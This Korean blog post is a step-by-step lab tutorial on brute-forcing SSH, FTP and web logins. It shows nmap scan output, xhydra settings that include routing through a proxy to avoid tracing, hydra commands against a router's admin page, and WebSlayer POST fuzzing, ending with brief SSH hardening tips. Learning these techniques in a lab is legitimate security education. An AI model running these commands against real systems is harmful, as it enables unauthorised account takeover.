2013년 3월 30일 토요일

Brute forcing attack. step by step



ssh. brute forcing attack.

공격이라고 할거도 없고 너무 초보적입니다....
기본 계념을 이해하는걸 목표로 포스팅을 하였습니다.
그래도 악용의 사례로 사용되지 않았으면 좋겠습니다.

스캐닝 단계.


root@bt:~# nmap -sS -O -P0 -vv 192.168.178.132
스텔스 스캔으로 검색을 하자.

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-03-12 01:09 KST
Initiating ARP Ping Scan at 01:09
Scanning 192.168.178.132 [1 port]
Completed ARP Ping Scan at 01:09, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:09
Completed Parallel DNS resolution of 1 host. at 01:10, 13.09s elapsed
Initiating SYN Stealth Scan at 01:10
Scanning 192.168.178.132 [1000 ports]
Discovered open port 22/tcp on 192.168.178.132
Discovered open port 111/tcp on 192.168.178.132
Completed SYN Stealth Scan at 01:10, 0.16s elapsed (1000 total ports)
Initiating OS detection (try #1) against 192.168.178.132
Nmap scan report for 192.168.178.132
Host is up (0.00047s latency).
Scanned at 2012-03-12 01:09:51 KST for 15s
Not shown: 998 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh //ssh가 open상태임을 확인.
111/tcp open  rpcbind
MAC Address: 00:0C:29:53:64:0B (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
TCP/IP fingerprint:
OS:SCAN(V=5.61TEST4%E=4%D=3/12%OT=22%CT=1%CU=31573%PV=Y%DS=1%DC=D%G=Y%M=000
OS:C29%TM=4F5CCE5E%P=i686-pc-linux-gnu)SEQ(SP=BB%GCD=1%ISR=C4%TI=Z%CI=Z%II=
OS:I%TS=A)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%
OS:O5=M5B4ST11NW6%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W
OS:6=16A0)ECN(R=Y%DF=Y%T=41%W=16D0%O=M5B4NNSNW6%CC=N%Q=)T1(R=Y%DF=Y%T=41%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=41%W=16A0%S=O%A=S+%F=AS%O=M5B4S
OS:T11NW6%RD=0%Q=)T4(R=Y%DF=Y%T=41%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T
OS:=41%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=41%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T7(R=Y%DF=Y%T=41%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=41%IPL=
OS:164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=41%CD=S)

Uptime guess: 0.043 days (since Mon Mar 12 00:08:36 2012)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=187 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/local/bin/../share/nmap
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.62 seconds
           Raw packets sent: 1020 (45.626KB) | Rcvd: 1016 (41.346KB)
root@bt:~#


위 단계를 거치며 어떤 os를 사용하는지 어떤 상태인지 알 수 있다.


사용툴은xhydra이다.
#> xhydra
입력한다.
 타깃은 싱글타깃과 리스트로 설정 할 수 있다.

 타깃에 대상 아이피를 입력하고 프로토콜을 ssh로 변경한다. 해당 툴은
여러가지 프로토콜을 제공하고 잇다.

 패스워드설정또한 사용자 이름과 패스워드를 리스트로 입력 할 수 있다.
리스트방식을 쓸 경우 시간이 매우 길어지는 단점이 있다.

 한번에 작동될 작업의 개수를 정 할 수 있다. 많을수록 빨리 찾을 가능성이 있으나
시스템에 부하가 걸린다.
여기서는 프록시 설정또한 가능하여 추적을 피 할 수 있다. 프록시서버를 알고 있다면
입력하고 쓰도록 한다.(추적이 귀찮아 진다)

 start탭에서 시작을 눌러보자.
원래 워드리스트를 이용하면 시간이 오래 걸려 단어 몇개를 추가한 작업을 시도 하였다.

로그인 성공.


패킷.

각각의 task가 접속을 시도하고 있는 모습니다.



SSH정상접속할때 패킷
SSH BF공격패킷

두개의 패킷을 비교하여 보세요.



막는 방법은 간단히..

ssh 포트를 22번이 아닌 다른 번호의 포트로 이용하도록 한다.

ssh root로그인을 차단한다.

ssh honeypot을 이용한다.





ftp. brute forcing attack.
ftp설정.
centos설정 기준.
vsftp를 사용할것이다.
vsftp는 보안설정이 좋은ftp중 하나이다.
그리고 vsftp는 nobody계정이 필요하니 useradd로 추가해주도록 한다.
그리고


처음에 vsftpd서비스가 있는지 확인한다.
rpm -qa | grep vsftpd
확인후
보안레벨설정을 한다.
system-config-securitylevel
 위와 같이 disable설정을 한다.

그외에 설정파일들을 자신에 맞게 설정해준다.
폴더는
etc/vsftpd 아래에 vsftpd.conf파일이 있다.

 서비스를 시작해 주자.



사용자 리스트를 설정해 주자. vi userlist
 로그인 유저를 설정해 주자. vi ftpusers



서비스를 동작해 주자.

덧붙이자면 root의 접근권한을 허가해 주기위해 위와 같은 설정을 하는것이다.
userlist와 ftpuser의 root를 주석처리하면 root로 로그인이 가능하다.
vsftp는 기본 계정이 id ftp pw ftp이다.

 


restart한번더 해주자.



BF공격.


root@bt:~# nmap -sS -O -P0 -vv 192.168.178.132

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-03-12 02:25 KST
Initiating ARP Ping Scan at 02:25
Scanning 192.168.178.132 [1 port]
Completed ARP Ping Scan at 02:25, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 02:25
Completed Parallel DNS resolution of 1 host. at 02:25, 0.01s elapsed
Initiating SYN Stealth Scan at 02:25
Scanning 192.168.178.132 [1000 ports]
Discovered open port 22/tcp on 192.168.178.132
Discovered open port 111/tcp on 192.168.178.132
Discovered open port 21/tcp on 192.168.178.132
Completed SYN Stealth Scan at 02:25, 0.26s elapsed (1000 total ports)
Initiating OS detection (try #1) against 192.168.178.132
Nmap scan report for 192.168.178.132
Host is up (0.0015s latency).
Scanned at 2012-03-12 02:25:15 KST for 2s
Not shown: 997 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
111/tcp open  rpcbind
MAC Address: 00:0C:29:53:64:0B (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
TCP/IP fingerprint:
OS:SCAN(V=5.61TEST4%E=4%D=3/12%OT=21%CT=1%CU=34187%PV=Y%DS=1%DC=D%G=Y%M=000
OS:C29%TM=4F5CDFFD%P=i686-pc-linux-gnu)SEQ(SP=CB%GCD=1%ISR=CD%TI=Z%CI=Z%II=
OS:I%TS=A)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%
OS:O5=M5B4ST11NW6%O6=M5B4ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W
OS:6=16A0)ECN(R=Y%DF=Y%T=41%W=16D0%O=M5B4NNSNW6%CC=N%Q=)T1(R=Y%DF=Y%T=41%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=41%W=16A0%S=O%A=S+%F=AS%O=M5B4S
OS:T11NW6%RD=0%Q=)T4(R=Y%DF=Y%T=41%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T
OS:=41%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=41%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T7(R=Y%DF=Y%T=41%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=41%IPL=
OS:164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=41%CD=S)

Uptime guess: 0.098 days (since Mon Mar 12 00:04:21 2012)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/local/bin/../share/nmap
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.63 seconds
           Raw packets sent: 1020 (45.626KB) | Rcvd: 1016 (41.350KB)
root@bt:~# 


공격방식은 기존과 같은툴을 사용했다.

 사용자 리스트를 이용한 공격을 하기위해 리스트를 만들었다.
이러한 리스트는 기본사용자 계정 (vsftp의 ftp라는 id같은..)을 포함하면 좋겠다.

역시 리스트를 이용하여 공격을 시도했다.
root를 열어놓게되면 위와같이 root계정의 pw까지 나오는 불쌍사가 생기겠다.

패킷.
FTP BF공격 패킷


















web. brute forcing attack.

공유기 관리자 화면을 다음과 같이 제공하는 기계가 있다.

가지고 있는 공유기는 다음과 같은 방법으로 BF공격이 가능했다.
우선 이 공유기는 웹에서 로그인하는데 로그인시 Authentication Required라는 창을
뿜으며 아이디와 비번입력을 요구한다.



 와이어 샤크로 어떤 패킷이 오는지 확인해 보았다.

인증처리를 위와 같이 하는것을 알 수 있다.
그렇다면 이부분을 BF하면 되지 않을까?
역시 툴은 만능 hydra를 쓰겠다.
xhydra는 버그인지 몰라도 잘못된 비번을 보여주었다.

패킷에도 나와 있지만 get방식을 사용하는것을 알 수 있다.
그렇다면 과괌히 get방식으로 BF해보자. 물론 HEAD방식도 통하였다.




hydra -s 80 -l admin -v -P dictt -e ns -f http://192.168.0.1/cgi-bin/timepro.cgi?tmenu=main_frame&smenu=main_frame http-get /


hydra -s 80 -l admin -v -P dictt -e ns -f http://192.168.0.1/cgi-bin/timepro.cgi?tmenu=main_frame&smenu=main_frame http-head /

대량으로 패킷이 해당 URL로 요청되고 있다.


지금까지 GET방식중에서도 특이한 요청을 하는 로그인에대한 BF를 수행하였고
패킷을 보았다.











이번엔 POST방식을 BF하는 공격을 해보자.
사용할툴은 WebSlayer이며 Wireshark를 필요로 한다.




ID와 PW를 아무거나 입력해 wireshark로 어떤 페이지가 요청되는지 확인한다.
이 웹페이지는 아래와 같은 요청을 요구한다.


패킷을 확인해 보면POST방식임을 알 수 있고 요청URL은 member_login_check.asp임을 알 수 있다.


아래그림은 POST데이터로 어떤값이 들어가있는지 확인하는 절차이다. post데이터로
id=slsd&pass=lsld가 들어가있음을 알 수 있다.


이번에는 툴을 WebSlayer라는 툴을 써보도록 하겠다. OWASP에서 언급되는 툴이며 강력한 툴임을 알 수 있다.

URL부분에는 Request 에 해당하는 URL을 입력한다.
POST의 값도 해당하는 값으로 변경을 한다.
이번에도 역시 nxn대입 BF를 수행한다.
약간설명을 덧붙이면 이부분
user_id=FUZZ&user_pw=FUZ2Z이 부분이 DIC이 대입되는 부분이다.
캡션 추가
 내가 원하는 딕 말고도 WebSlayer가 제공하는 DIC이 많이 있다.

이 기능외에도 이 툴의 뛰어난 기능중 하나가
아래그림과 같이 해쉬세트를 갖추고 있다는 것이다.


 이제 설정이 끝났으면 시작을 누르자.


결과창의 모습이다.

로그인이 성공한 화면으로 보이게 하려면 아래와 같이 Codes부분을 302로
필터링해주면 되겠다.

아래와 같이 로그인 성공한 아이디와 PW를 확인 할 수 있다.


패킷.

GET방식BF

POST방식BF






















댓글 없음:

댓글 쓰기